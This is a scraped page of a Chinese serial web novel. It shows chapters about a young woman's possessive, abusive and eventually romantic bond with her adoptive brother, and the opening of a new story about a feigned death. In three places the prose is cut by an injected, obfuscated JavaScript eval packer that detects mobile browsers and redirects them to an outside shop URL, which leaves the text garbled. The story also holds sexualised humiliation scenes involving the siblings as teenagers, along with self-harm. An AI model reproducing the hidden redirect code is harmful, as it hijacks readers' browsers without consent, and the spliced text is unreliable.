其实仔细想,我唯一一次夜不归宿还是在魏烨提起的那次毕业典礼。那天典礼宋青连出差去办讲座,宋庭阳拿着借来的相机坐在观众席给我录像。从出门就开始,我黑着脸告诉他关掉。可宋庭阳却只是讨好地笑,说这都是宝贵的青春记忆。我没有再理会他,一整天心里兜着雨似的,烦闷又疲倦。到学校后,学校安排家长先在操场的观众席就座,学生则先回教室准备节目。我并没有节目,心里想和宋庭阳坐在一起,因为我怕忍不住发火,而向宋庭阳发火没有关系。可同学还是把我拉走,宋庭阳背着书包追上来,从包里拿出泡好的茉莉乌龙茶,嘱咐着我要多喝水,又拿着相机抓拍我被同学拉着跑的照片。 典礼在我看来有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“雎雎,不要........”宋庭阳的反应比那些男生还着急,抓着我的手挡在我身后,是真的怕我滚下去,伸手覆在我腰后。我瞥他一眼,没有说话。而等到那些男生骂骂咧咧地转身离开时,我捡起地上的篮球,用力砸到骂宋庭阳杂种的人身上。他痛呼一声,瞪着眼睛看我,还想骂什么。而我却只是牵住宋庭阳,平静地告诉他:“我哥确实不是真太子,但他就算是一条狗,也只是我宋之雎的狗,轮不到你来教训,知道吗?” 等那群男生离开,我将相机扔给宋庭阳,他还在发愣,怔在那眼皮泛红,不知道在想什么。我走下台阶,宋庭阳才慌忙跟上来,抱着相机和我说话:“我刚才没给他们录像,雎雎,你在诈他们呀,好聪明。”我还是没有说话,脚步迈得更快,宋庭阳湿润的目光黏着我,有些着急,终于在我要往草坪那边拐的时候,拽住我的衣服,一起躲在小池塘旁边的树林里。宋庭阳小声地问:“我是不是惹你生气,给你添麻烦了,雎雎。” 我看着他仍然没有说话,但却抬手粗暴地扯开宋庭阳的衣领,他害怕地往树后又躲了躲,身体本能想要挣开我,但宋庭阳却硬是止住脚步,汗湿的脸颊泛着薄红,湿润的杏眼看着我,声音有几分哭腔,混在前面音响播放的欢快流行乐当中。 “雎雎,别.......别被看见,他们会说你的,跟哥回家,回家再........” “你的肩膀红了,宋庭阳。”我打断他,声音压低,但还是很愤怒,以至于攥紧的手指都不自觉发抖。夏季雨后潮湿,空气黏重,我看着宋庭阳的发丝黏在脸上,像破裂的白瓷。心中莫名就有碾碎他的冲动,我死死咬住嘴唇,克制着自己的情绪,背过身问:“他们打人,你为什么不打回去?宋庭阳,你为什么要讨好他们?你为什么你总是想讨每一个人欢心!你难道就天生这么贱!就是要给所有人都当狗吗?!” 话出口,其实我就知道说重了。但宋庭阳是真的有病,明明品学兼优,明明已经有那么有人喜欢他,可他仍是一副诚惶诚恐的可怜样。从十一岁那年,我第一次见他 ,他和宋青连一起到景泰接我回家。一路上我晕车,他就不停给我剥柚子皮,又用衣服接住我晕车的呕吐物。我自己都恶心,宋庭阳却不停地笑着说没关系,又从包里拿出油彩笔,告诉我可以在哥哥腿上画画。其实那时我就知道,宋庭阳害怕我,又愧对我,乃至于小心翼翼地讨好我。他是没有血缘的哥哥,更是宋青连给我养的一条狗。 9. 被阳光忠犬哥哥囚禁后(四) 可渐渐的,我也发现,宋庭阳不止对我,对周围一切都抱有诚惶诚恐的讨好心态。他永远把自己置于低人一等的位置,偶尔在饭桌上宋青连皱下眉,他都焦虑得吃不下饭,手指抓着膝盖,抠出血痕来都没注意。尤其刚回家那阵,我满心愤恨,却又茫然地不知道该恨谁。我无法把所有的情绪都暴烈地宣泄给宋青连,即便宣泄了她也只是冷笑着骂我废物。所以我天然地就把矛头对准宋庭阳,他占据了母亲的爱,又总是一副笑眼弯弯的讨好样。我会在宋庭阳会给洗脚时,湿漉漉地踹到他,又踩着少年的脸,笑眯眯地告诉宋庭阳:“这都是你欠我的,宋庭阳,你踩着我的痛苦获得了进入这个家的机会。宋庭阳,你欠我的,这辈子你都还不完。” 那些话让我现在听着,只觉得中二又可耻,但当时的宋庭阳却当了真,到底也才是十几岁的年纪,满怀着恐惧和愧疚对待着我。偶尔我闷在卧室一天都不出门,半夜去洗漱却能发现宋庭阳守在客厅一直等我,不知道热了几遍的蛋炒饭,端给我时还是温的。客厅开一盏橘黄色的落地灯,宋庭阳又给我倒了杯苹果汁,看着我吃饭时,他眼泪啪嗒啪嗒就掉了下来。我不明所以地捏着勺子看向他,宋庭阳慌忙擦掉眼泪,只是声音闷闷地道歉:“是哥哥没有照顾好你,我又让你生气了,雎雎.......” 我没有回答过宋庭阳这种话,而这样不回答,他又会在洗手间咬着我的衣服偷偷地哭。被我撞见时,少年惊慌地软了膝盖,跪在我脚边又惨白着脸哭。我将手放在他脸上,抿干净他脸上黏着的发丝,拿过被他咬湿的裙子。我对宋庭阳说:“乱咬衣服的狗,是要被惩罚的,对不对哥哥?” 少年套着女孩的牛仔背心裙,肩膀和凶膛露着,白皙的肌肤上滚动着细碎的水珠,宋庭阳侧身跪在浴缸里,大腿被勒出一道道艳红。花洒还在地上翻滚,像扭曲的毒蛇,我跪在浴缸旁边,捧住了宋庭阳滚烫的脸。那瞬间复杂的情绪全部褪去,我想钻到他怀里。于是我抱着宋庭阳,在闷热又水汽弥漫的浴室里,天花板上的水珠啪嗒砸在脸上,我忽然有种共生的幻视,根蔓纠缠,指尖的温度也趋同。 “宋庭阳.......”一根一根手指挤进他的指缝,少年背靠着冰凉的白瓷砖,听到我喊他的名字,一滴泪从眼尾溢出来。于是我笑了,天然地餍足,我对他说:“你完了,这辈子我都不会放过你了。” 那天的毕业典礼上,我很生气,又莫名后怕。不顾宋庭阳几乎跪下来求我和我道歉,我只告诉他再追过来,所有人都会知道我们之前不正常的关系。果然他止住了哀求,在树林里收拾好自己,出来时还能和其他家长腼腆地闲谈几句。典礼结束后,他跑到教室门口等我回家。而我实在不想面对宋庭阳,就答应和相熟的同学一起去聚餐,当时整个毕业班很多人都去了,宋庭阳不好拦我,只能装出体贴的笑,又加了其他同学的联系方式,拉着我的手嘱咐不能喝酒不能吃太辣。最后终于放我和同学们离开,坐上公交车时,我隔着窗户,又看见林荫道上,宋庭阳脖子里挂着相机,一边走一边低头擦眼泪。 那天聚餐我吃得不多,中途喝了杯冰可乐,肚子隐隐坠痛,心里明白应该来月经了。翻开包去拿纸巾的时候,我才发现原来宋庭阳出门前就放了几片卫生巾在我的包里。我去厕所处理,再回到包间时,嘈杂的聊天声和KTV的歌声都仿佛离我很远,我很累,又想回家找宋庭阳了。 又撑了两首歌的时间,我看了眼手机,已经是晚上十一点多,被设置成免打扰的宋庭阳发来56条消息。我没有点开,想着要不直接回家。可刚起身一直控场的班长就注意到我,跑过来问我是不是不舒服。我没有说太多,只是拿着包说到家里门禁的时间了。班长人很热心,主动要陪我到楼下打车,想到半夜KTV确实不太安全,我没有拒绝,和他有一搭没一搭聊着下楼。 夜里起了风,弯月拢着乌云,天幕兜了一场雨。我和班长站在路边等车,他侧头看了我好几次,终于鼓起勇气似的,脱掉外搭的衬衫递给我。我没有要,因为他穿了一天,而且马路对面宋庭阳已经怀里抱着我的外套,在等红绿灯了。 红灯最后十七秒,宋庭阳不知道急什么,还闯红灯跑了过来。我几乎要笑,因为每次上学他都嘱咐我迟到就迟到,但不可以闯红灯。他的出现让班长也很尴尬,红着脸跟我说了声再见,就赶紧跑远了。宋庭阳把外套给我穿上,也低着头,迟疑地用手牵着我的袖子。风刮得越来越大,发丝都糊在脸上,我刚想问宋庭阳有没有带皮筋,他就已经绕到我身后,拢着我的头发,帮我扎了个低马尾。眼前终于没有发丝挡着,我看清楚少年眼睫上细碎的泪珠,于是摸了摸他的脸,问:“你想出来今天自己错在哪里了吗?” 刚摸到他的脸,宋庭阳的眼泪就啪嗒啪嗒砸下来,他下意识弯腰用脸蹭我的手心,声音抽噎着说:“雎雎,我不该在他们欺负我的时候不还手。我、我是很害怕,雎雎,我每天都很害怕,害怕惹妈妈不开心,就会被重新给丢到福利院。我也害怕惹同学和老师不开心,就会被他们看出来我本来就是个没人要的丧门星。雎雎.......”喊着我的名字,宋庭阳低头将脸埋在我的颈侧,搂住我的腰,他还在哭,单薄的脊背战栗,好像受伤的蝴蝶。 “爸妈说家里没钱,实在养不起小孩,所以把我丢了。可是他们明明愿意带着弟弟一起去打工,明明我在老家砍柴烧饭做家务,我什么都能干,只能爸妈开心。但他们还是不要我,因为算命的说我生辰八字不好,是穷鬼转世。可是雎雎,是他们把我生下来的呀,我根本不知道自己会在哪一天出生........为什么,为什么最后一切的结果都要怪在我身上呢?我什么都不知道呀,我只是想让爸妈开心,想让他们别丢下我,我可以不去上学,可以在工地给他们做饭洗衣服带弟弟,只要,只要别丢下我,只要我们一家人在.......” “宋庭阳,”敞开宽大的外套,风越刮越大,我喊着他的名字,把战栗的少年也裹进怀里。无星无月的夜晚,我们两个十几岁的孩子,在狂风里被吹得有些踉跄,像是路边两株野草,舒展枝叶撑着彼此。我踮脚亲在宋庭阳额头,泪水被他颤栗的眼睫眨落,目光清明地望着我,我对他说:“什么是一家人,你和他们不是一家人。宋庭阳,你是我哥,是我的狗,明白吗?如果你一定要靠着讨好别人才能生存,那你讨好我一个人就够了。哥,你要记住,我们两个就是一家人,我们的家,是宋之雎和宋庭阳的家。” 视线又模糊了,雨滴落下来,宋庭阳的眼泪也落下来,他不停地点头说好,发丝翘着,在风里像甩尾巴的快乐小狗。 ------------------------------------- 回国一个多月,我和宋青连倒是没再吵过架,尤其是那次和魏烨聚餐之后。或许给了她一种同仇敌忾的错觉,宋青连待我很殷切贴心。但我还是决定搬出去住,并且拒绝了她替我找的在高中学校当心理老师的工作。倒也不是和宋青连赌气,只是回国前我已经和本科时的学长联系好,答应了在他所办的特殊儿童教育学校当心理顾问。 虽然只是一份过渡性质的工作,我依然还是用这个借口在饭桌上提出了搬到学校宿舍去住。宋青连没有反对,只是折中说:“出去住可以,但至少让你哥帮你在学校附近找个舒服点的房子。”说到这里时,宋庭阳正好端着一盘鱼香肉丝从厨房出来,显然他听见了我们之前的谈话,解开腰间系着的围裙,擦了擦手也做到我身边说:“没关系的,雎雎,你真的想做宿舍的话,哥哥这周末前提去帮你打扫和布置家具。如果你不想住在学校外面,那就哥哥在你们学校附近租房子,一日三餐帮你准备好。” 又是这样,宋庭阳太习惯以退为进了。我心里甚至连惊讶的情绪都没有,反而望向宋青连,可她只是低头夹菜,一副见怪不怪的模样。我只好放下筷子对宋庭阳说:“一日三餐我会在食堂解决,而且哥,在国外六年我都是自己照顾自己,这完全能证明我有独立生活的能力吧?” 不知怎么了,不提国外六年还好,一提起来,宋庭阳眼眶就红了,手指抠着桌布,他垂眼声音沉闷地说:“就是想到你在国外六年都没有哥哥照顾,所以才更想补偿你啊。” 和他实在说不通,饭桌上不欢而散。我回屋处理了一些国外的邮件还有剩下的课题,到晚上十点多,我刚合上电脑,宋庭阳就端着一盘切好的橙子进来。应该是刚洗过澡,他裸露在外的皮肤还微微泛着粉红,头发吹得半干,发梢微微滴水,洇湿了一圈衣领,脖颈也湿漉漉的。宋庭阳把盘子放到书桌上,自然地坐在我床边,膝盖蹭着我的膝盖,他软下语气道歉:“确实是哥哥总把你当小孩子,雎雎,对不起。只是我们分开六年,这六年里,你经历了什么哥哥不知道,哥哥经历了什么你也不知道。我太心急了,我总想把这一切都调回六年前,我、我害怕.......” 宋庭阳说着语气又溢出哽咽,明明已经是成熟清俊的模样,在外面也算精明强干,可回来这一个多月,我就已经数不清他到底拉着我哭了几回。有些麻木地抬手给宋庭阳擦掉眼泪,我平静解释道:“可是哥哥,没有人能永远停留在过去。错误的轨迹既然已经被掰回正途,那我们就按照眼前光明的轨道行驶下去不好吗?” “你说的错误是指哥哥吗?”宋庭阳直起腰,和我拉开距离,眼里包着泪水,摇晃着只是不落。我没有回答,咬了一口橙子,酸甜的清香味在屋里漫开,我只是对宋庭阳说:“下次记得不要再拿我扔在洗衣机里的衣服,哥,你要是真的喜欢裙子,我托朋友在国外给你多定制几套,可以吗?” 那晚谈话之后,宋庭阳第二天准备好早饭,就提前离家,没像之前一样拿着木梳等在客厅,然后趁我吃饭的时候给我梳头发。我告诉宋青连明天就差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125196|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打包行李去学校那边了,她点了点,又问特殊儿童学校需不需要资助,她可以帮忙联系教育界的朋友。我有些惊讶于她的通情达理,咬着汤匙看了她一眼,宋青连也不自在,笑了笑看向窗外说:“你这什么表情啊?不认识你妈了啊。你妈可一直都是教育先锋,特殊儿童教育版块十年前你妈就关注过了。” “嗯,您一直是榜样。”我点头,不可否认宋青连是非常优秀的女性。可究极到底人是复杂的,我敬佩宋青连的社会成就,但我无法只做一个鼓掌的观众。我是妈妈的女儿,这让我难过,自豪又难过。 最后我把学长的联系方式推给了宋青连,没想到他们倒是聊得很投机,宋青连甚至雷厉风行地准备牵线电视台领导,去学校实地拍摄考察特殊教育学生的日常,引导大众关注这个群体。对此我情绪一般,只想尽量做好自己的工作。搬家那天学长开车来帮我,但还没到小区门口,宋庭阳就已经提前回家了。 进门他先解释这几天公司接了一个项目在赶工,然后就拉过我的行李箱,把他怀里抱着的一盆乌背竹递给我,笑着说:“既然要搬家,当然要买盆绿植放在屋里。这个乌背竹很好养的,你不管它,它也能一直开得很好。”我捧着花盆,又看向宋庭阳眼下的青黑,还是忍不住说:“你看起来很累,哥,你要不先去休息吧,搬家的事情,我一个能搞定。” “雎雎,你又骗我。”宋庭阳低头拉着行李箱,走到门口等我,手指捏着门把手,腕间青筋凸起,但他声音还算克制,只是说:“妈妈都告诉我了,你叫了你的学长帮你搬家。可是雎雎,你忘了你还有哥哥吗?为什么有哥哥在,你还要搭理别人呢?” 这次还好,没有吵架,因为宋庭阳问完这句话就哭了。我一只手抱着盆栽,一只手给他擦眼泪,最后都把自己给逗乐了,笑着说:“宋庭阳,你现在是非要顶着霸道总裁的脸,给自己强行加凄惨小白花的人设吗?” “那雎雎喜欢吗?”低头蹭着我的手心,宋庭阳眼睫粘着细碎的泪珠,清俊的脸上微微泛着潮红,剪裁得体的黑衬衫勒着凶肌和劲瘦的腰肢,他这样弯腰,领口被撑得更开,露出一片绯红雪白。 我抽出手,没有回答只是弯唇笑了笑,然后在男人羞赫的注视下,帮他扯紧领口,小声说:“我喜不喜欢的有什么用,不过哥哥,不过你们GAY圈,健身这块确实够卷呀........” 那天我也只是开玩笑,但宋庭阳很着急,一路上不停地解释,说同性恋是他替自己终身不婚找的借口,他又说,还带着点委屈,“哥哥是不是同性恋?难道你不应该比任何人都更清楚吗?雎雎,从前你欺负哥哥的玩具,哥哥都留着呢。我也留着,一直都在等你回来。” “可你不是说自己终身不婚吗?”我靠着车窗,避开宋庭阳的视线问。他顿了顿,呼吸似乎滞住,后侧传来刺耳的鸣笛声,宋庭阳收回视线,却脱口而出:“因为我清楚你不可能和哥哥结婚,宋之雎,我还没有痴心妄想到那种地步。” 当天搬到宿舍,环境还可以,但宋庭阳还是把里里外外打扫了两三遍,又不放心地拉着我去超市买日用品和零食。我觉得他太像是大一开学送学生的家长,想要宋庭阳冷静一下,但刚准备开口,宋庭阳拿着烧烤料问我:“今天晚上哥哥在宿舍给你做烤肉吃?” “好啊,多买点紫苏叶。”我立刻向自己的食欲妥协,还是觉得等吃过饭再警告宋庭阳。但晚饭最后没有在宿舍吃,而是在教职工宿舍楼的空地前,学长张罗着拉出食堂的烧烤架,又叫来了好奇围过来的学生们,一起吃了顿露天烧烤,还美名其曰是给我的接风宴。 “所以说我哥花钱来学校当免费厨子,烟熏火燎地烤肉,最后你出个炉子,就变成你给新员工办的接风宴了?”我无奈地看着啃鸡翅啃得嘴角流油的学长,他倒是很坦诚地点头,在周围学生善意的笑声里,还大言不惭道:“什么你哥我哥的,今天吃了宋老板烤的肉,就都是咱哥!” 咣当,烧烤盘被重重砸在学长面前的桌子上,宋庭阳系着围裙,张口正要骂他两句。周围年纪较小的孩子们就扑过来涌到他腿边,一些努力发音的听障儿童说话有些含糊,宋庭阳就蹲下来把他们抱到怀里,温声说着不着急不着急,又抽出纸巾给他们擦嘴角的油渍。 学长趴在桌上看着这一幕,我倒在椅子里,夜风吹过来,满身的油烟味,灌了口冰啤酒,脸颊有些发烫,我虚着眼看宋庭阳一个字一个字地教他们念哥哥。 这时一只小手扯了下我的裙子,坐在人群外的那个女孩子靠过来,她看着宋庭阳,声音很轻,一个字一个字地问:“老师,他是你的爱人吗?” 我没有回答,于是那孩子偏着头,一个字一个字地问:“那你爱他吗?” 夜风又起,我的头发散了,扭头看着这孩子,我笑着捏了下她的脸,挽干净头发,我告诉她:“爱,爱是一件痛苦的坏东西。” 10. 被阳光忠犬哥哥囚禁后(完) 在学校的日子很平静,预想中的条件艰苦也不存在。因为宋庭阳来学校总是比学生家长都勤快,虽然没有到包揽一日三餐的程度,但在他花样翻新的投喂下,我在国外瘦的十几斤,确实被他补了回来。偶尔学长嘴贱,都会打趣说:“看来还是中国的厨子养人啊,你瞅瞅,原来瘦的跟骷髅架子似的,回来半年就被你哥给养得水灵灵的。早知道你在国内长这样,我不早追你了吗?啧啧啧,错失一段良缘呀。” 知道学长嘴贱,我也没在意,只不过这种改变着实让我有些恍惚,就像是我花了六年时间去逃离去切割,在国外的贫瘠的土壤里拼命扎根。可吊着最后一口气,濒死时转身才发现,大地之下,我的根蔓始终都和宋庭阳的缠在一起。我们要么共生,要么各自枯竭。 周末宋庭阳在宿舍帮我洗衣服,下午阳光金灿灿的,我坐在窗前的桌子上,看着他一件件搭衣服,像是十几岁时的梦一样。我啃着宋庭阳洗好的脆桃,第一次开口问他:“哥,你右手上为什么一直戴着手表,连洗衣服都不摘下来,不怕进水之后弄坏吗?” “哦,我习惯了。”宋庭阳拍着床单的手一顿,又低头扯着嘴角回答。他说话时总是这样,耳根和脖子红成一片,低着头只是笑,不敢和我对视。忽然间我甚至有些恨自己这么了解他,但还是扔掉桃子,走过去湿漉漉地抓住他的手腕。 手指间是黏腻的汁水,我强行拽住宋庭阳想要藏到背后的手腕,咔哒一声解开手表,我看着那几道狰狞的伤疤,语气竟有些平静,轻声笑了起来,看着惊惧又愧疚的男人,我好奇地问:“你到底在想什么呀,宋庭阳?” 我轻轻拍着男人的脸,力道并不重,却在他掉泪的时候,我压抑的愤怒和后怕突然决堤,扯着他的手腕将人拽到房间里。指尖的黏腻落到他身上,宋庭阳没有反抗,脸上泪珠一颗颗地顺着下巴滴落,他却主动地蹬掉裤子,在我拧住他凶口的白腻时,反而避开视线,抽噎着说:“宋之雎,你不知道吗?哥哥想的是你呀,我想的心里的全都是你宋之雎。你什么都知道还要来问我?你只是想要观赏哥哥为你痛苦是吗?你是坏孩子,雎雎,可我好爱你,没有你我真的会死,你真的一点都不明白吗?” 问到最后宋庭阳哭了出来,咬着我的肩膀,却又固执地缠上来。我没有办法回答他的问题,因为我弄不明白什么是爱。宋青连和魏烨都没有教会我到底什么是爱,我只明白,我喜欢看宋庭阳哭,却又不想他哭。就像现在一样,我吻着他因为我而失神迷离的眼睛,黏腻的手指伸入他的软红,我不许宋庭阳说话,却又红着眼警告他:“哥,如果我不爱你的话,那我保证不会爱任何人。” “所以无论我爱或不爱你,宋庭阳,你都不准死,因为我永远需要你。” 和宋庭阳捅/破透明的窗户纸之后,我们相处倒是回到了六年前一样。其实我很喜欢看宋庭阳在床上忍着泣音将我搂在怀里的模样,很温柔,不恰当的比喻,就像哺乳动物的育儿袋。埋在哥哥的身体里,我就会被天然地包容、理解和接纳。哥哥如果是一道连绵的溪流,那我就安心地下坠做一颗小石子,即便不如鹅卵石光滑美丽,哥哥也会一如既往地,温柔地亲抚我。 我不明白这算不算爱,但哥哥确实是我的生命之源,我需要在他身上才能绽放。 入秋之后,学长告诉我现在在景泰选定了一块分校选址,他想让我先实地考察。我当时正在做宋庭阳的心理评估,听到后停了应该有五分钟,然后摘掉眼镜看着他,重复问了一遍:“去景泰?我?你确定你是知道我们家之前的事情吧?” “是啊,你妈跟我说了,我肯定知道啊。”学长倒是不避讳,用笔尖戳着我办公桌上的多肉盆栽,他忽然眯着眼睛,笑得像狐狸一样看着我,说:“可是宋老师,你是学心理学的,应该比我清楚,景泰之于你,必须先回去,才能真正走出来。” 出发去景泰那天,接我的车居然是宋青连开的,她坐在驾驶座上递给我一副墨镜。我拿着却没戴,只是无奈地扣好安全带,告诉她:“开的是面包车又不是敞篷跑车,妈妈,你戴墨镜是为了出片吗?” 宋青连有些尴尬,但还是强撑着没摘墨镜,一路上放着时代金曲,又在我快要睡着时硬拉着我聊天。我不想说话,宋青连便说我总是拒绝沟通,一点也不像个学心理学的孩子。我并不想在公路上和宋青连争论,但她说着说着,就自己在景泰设立分校其实是她的注意,也是她牵头组织的。我平静地听着,车窗降下一条缝,问宋青连:“所以妈妈是觉得我应该为母爱感动,应该痛哭流涕对妈妈说我爱你吗?” 宋青连面色隐隐发白,咬着牙根,重重拍了下方向盘说:“宋之雎,你简直就像一块油盐不进的臭石头!不知道是随了谁,气死我算了。” 去景泰的山路下过雨后很滑,宋青连总是说年轻时自己帮姥爷开货车送货,轿车这种简直闭着眼都能开。她一向是个自信的人,可那天车轮打滑,撞向松软的坡体时。轿车侧翻了,我第一反应是抱住愤怒又失望的妈妈,后背重重砸到车窗上。我一瞬间眼前白了一下,喉咙涌上腥甜的味道,碎玻璃片扎进肉里,密密麻麻的刺痛让我瞬间冒出冷汗,身体不自觉地战栗。 宋青连在巨大的撞击之下也回过神,但被我抱在怀里。泥石埋住半边车体,车门被挡死,根本出不去。狭小的空间里,在汽油味和土腥味当中,我和宋青连第一次如今紧密地拥抱,上一次应该还是我在子宫里的时候吧,想到这里,我竟然荒谬地笑出来了。 她抓着我的手臂,已经衰老的面容早就不像年轻时那样冷硬。唇瓣张合着,她想要说什么,先溢出的却是一声呜咽。泪水顺着眼角的皱纹的流淌,我看着,却没有力气给妈妈擦掉。 我觉得我有了些力气,也可能是怕有些话不说就再没机会说。被指责拒绝沟通的我开口,声音有些沙哑,唇齿间都是铁锈的腥味。感受到肾上腺素飙升,我笑着告诉妈妈:“景泰总是在下雨,妈妈,我没有雨伞,我六岁的时候被领到吴奶奶家里时,也是下雨天。她买下我为了给丧偶的女儿阿莹做个念想。吴奶奶骗阿莹说我是她和丈夫生下的女儿。阿莹脑子不好,开心地认下我,去哪里都抱着我。但阿莹是疯子,偶尔发作时,就会掐着我的脖子把我丢在雨里。景泰的夜雨一直下,黑夜里只有雨丝会泛出微弱的光点。我淋雨生病,发烧时吴奶奶就给我煮姜茶喝。可是真的好苦啊妈妈,喉咙好像都要被烧出一个洞。我那段时间总是捂住肚子,因为妈妈说过肚脐是连接母亲和孩子的地方。我摸着自己的肚脐,就总是想,妈妈都没有感觉到我,我想你了。” 颤抖的手摸着我的脸,宋青连哭得五官都扭曲了,咿咿呀呀着想要说话,可巨大的冲击下导致暂时的语言功能丧失,这次,终于,妈妈只能听着我说了。 “后来阿莹死了,下雨天跳进了河里,跳下去之前她开心地对我说,她的刘哥在河里对她招手了。吴奶奶的女儿死了之后,她也病倒了,躺在床上一整日都不说话,越来越像一块苍老的石头。后来在景泰的梅雨时节,吴奶奶的被子上长了霉斑,脸上也是霉斑。她死了,很久之后尸体才被从老屋里抬出来。我那时候不太理解死亡,只是看着镇上的人撑着黑伞,进来又进出,我一个人站在灵堂外,因为不是本族的人,只能站在下雨的天井里。后来吴奶奶也下葬了,隔壁阿妈给我送饭,好几个人在屋里看着雨聊天,隐隐约约地说着什么真可怜,像这样还不如跳河死了算了。我想着这就是我的出路,但我还是吃完了满满的一碗猪油饭。肚脐被撑得凸起,我难受地摸了摸,一直淋着雨走到桥边。我想着等肚子里的饭消化完就跳下去,但那天下午,我手指绕着肚脐打转,一群撑伞的人像浪头一样湮没我。他们都把我护住伞下面,我仰着脸看连绵的雨伞,最后是你天蓝色的伞,像景泰不存在的晴天。你蹲下身看着我,周围人都催促我叫妈妈,可我还有没开口。妈妈却说为什么要低着头走路,扯着衣服把肚子露出来很不礼貌,你上学读到几年级了,今天为什么没在学校.......” 身体渐渐冷下去,我眼皮沉重,恍惚间好像又下起了雨。我抬手,艰难地擦掉宋青连脸上的泪水,我只是想告诉她,那一年没来及的说出口的是:“妈妈........我的身体好冷啊,你能不能抱我一下?” ------------------------------------- 窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晚上宋庭阳做了水煮肉片,屋子里都是辛辣的香味。我们开着窗透气,站在阳台看着家属楼下面小孩子尖叫着捉迷藏。隔壁邻居搬走了,爬山虎还在疯长,柔软的枝蔓勾住生锈的栏杆,不论拔掉几次,第二天又会重新缠上来。 就像哥哥呀,我想,都是一样的柔软,可一旦决定缠住哪个目标,就永远不可能松口,除非他死,或者我死。 今夜的月光拢着云纱,朦胧又温柔。宋庭阳端着他酿的桂花米酒让我尝尝,我喝了一小杯,脸颊就已经漫开红晕。搂着宋庭阳的腰,把脸贴在他胸口。宋庭阳一下一下用手心拂过我的后背,又低头用唇瓣轻轻摩挲着我的额角。 “你今天发的那个链接,我替你买了,但是买的是正红色,还有一件白衬衫的正装。” 我抱着他的腰轻轻晃着,并没有醉意,但却快乐地想要跳舞。宋庭阳捧住我的脸,湿润的杏眼闪烁着细碎的泪光,他明白,但又不敢明白,只能问我:“雎雎,所以这是什么意思呀?” “意思是.......”我亲了一口哥哥的凶口,又费劲地搂住他的脖子,把吻落在他唇上,“意思是,白天我和哥哥登记结婚,晚上呢,哥哥就要穿着新娘裙,躺在床上让我玩。” “宋之雎,你明白是结婚是什么意思吗?”哥哥忽然强硬地捏住我的肩膀,目光隐忍地望过来,他问出这句话时眼眶还是红了,泪珠一颗颗砸在我手上。 “结婚是,是我爱你,是我和你永远地成为爱人和家人。哥,”我又一次、无数次地擦掉宋庭阳的眼泪,扬起脸,我忍住没哭,像年少时无心许诺过的那样,这次我郑重地对宋庭阳说:“我们会有自己的家,是宋之雎和宋庭阳的家。” “雎雎........”泪水并没有停下来,反而在宋庭阳吻住我时被卷到舍尖,苦涩的味道让我响起一年前,我对那个小女孩说,爱是一件痛苦的坏东西。 可现在,我才明白,人生本就是苦海,但珍贵的爱人,就是苦海浮沉里,救我一瞬喘息的小舟。 哥哥就是珍贵的爱人,而现在,哥哥的睡衣扣子崩开,裹着我的手,他祈求:“雎雎,你在这里把哥哥给玩/坏吧,不然我不敢相信这是真的。” 11. 诈死成全痴情贵公子后(一) 傅灵越是我夫君,亦是平陵傅氏的第一公子,是当朝右相的嫡子。他娶我应极不情愿,因为傅灵越心中爱极了自幼定下的未婚妻,他的青梅苏锦华。可惜造化弄人,作为十三岁就被派去保护苏小姐的暗卫,我旁观了傅灵越对苏小姐求而不得,最终为了成全苏小姐的幸福,履行婚姻,退而求其次,容许我作为苏小姐的替嫁,嫁入傅氏为公子正妻。 三年婚姻于我只是任务罢了,傅灵越人品贵重,即便不爱我,也日日宿在我房中,为我与父母长辈周旋。可我不该是傅氏后院的笼中鸟,更不该作为附属品成全傅灵越对心上人的痴情守候。于是在陪傅灵越父母回平陵祭祖求子的途中,我假死脱身,各方协助之下,计谋天衣无缝。饶是傅氏各方调查之下,也只能信服。 诈死后离开傅灵越,我遥祝他能放下情执,重新娶一良人,恩爱一生。可渐渐的,京都的消息传来,傅氏公子丧妻后大病一场,又违逆家族为亡妻守陵三年,后再回京,傅氏公子怀抱一黄口小儿,眉眼极肖亡妻。后又传闻傅氏下人曾见公子身披亡妻旧衣,卧于昔年婚房,一颦一笑尽做美妇人情态.......传闻荒谬,我并未深信,照例饮酒作乐,闲暇时便去春楼消遣。可眼前今日,这一身玄衣怀抱娃娃,眉目阴冷提剑斩人的“黑寡夫”,怎么越看越像我那温柔白月光前夫啊!!还有,那娃娃做什么朝我伸手哭着喊娘啊?!嘶........黑寡夫看过来了,黑寡夫哭了,我多半凉了....... 温三十九×傅灵越 ------------------------------------- 平丘十三年,是温三十九嫁给傅灵越的第三年。 这一年受蒙上恩,傅灵越擢至中书省,又于朝歌宴一曲琴音拔得头筹,被亲赐第一公子的名号,圣上曾赞傅氏嫡公子,风姿特秀,神色绚曜,濯濯如春柳月,泠泠如平江雪。 那一年,傅灵越当真是风光无限。 温三十九午睡刚起,伺候的萍儿匆匆来到内室,将她从榻上拽起来梳妆。萍儿将她摁在铜镜前,口中絮絮叨叨,尽是在列举宫中对傅氏的赏赐。 “要萍儿说,还是少夫人嫁得好,大公子虽说原本属意苏大娘子,可苏府临时换您嫁来傅氏,大公子不也仍旧替您在老爷夫人跟前周旋,三年里后院也只有咱们正室这一房,可是给足了排场呢。” 